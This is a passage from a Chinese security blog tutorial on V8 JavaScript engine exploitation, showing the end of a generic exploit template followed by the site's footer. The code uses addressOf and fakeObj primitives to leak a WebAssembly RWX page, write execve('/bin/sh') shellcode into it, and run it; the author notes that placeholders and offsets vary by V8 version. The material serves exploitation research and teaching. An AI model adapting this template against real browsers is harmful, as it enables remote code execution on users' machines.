  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;

var fake_array = [
  array_map,
  itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

其中打问号的地方，需要根据具体情况来编写，然后就是有些偏移需要根据v8版本情况进行修改，但是主体结构基本雷同。

之后的文章中，打算把我最近研究复现的几个漏洞，套进这个模板中，来进行讲解。

从0开始学V8漏洞利用之V8通用利用链（二）

https://nobb.site/2021/12/01/0x6A/

Author

Hcamael

Posted on

2021-12-01

Updated on

2021-12-02

Licensed under

#

Like this article? Support the author with

Follow

Recents

Tags

CTF22
Crypto10
Driver4
GIT2
HardWare4
Hardware4
IoT2
Kernel1
Linux4
Pentest1
Python4
RE3
SQLi2
USB3
Web9
Windows1
android3
bin41
blockchain5
eBPF3
network4
old_blog1
php4
record1
research37
sb1
share1
shellcode1
tips3
v811
随笔1

Links

×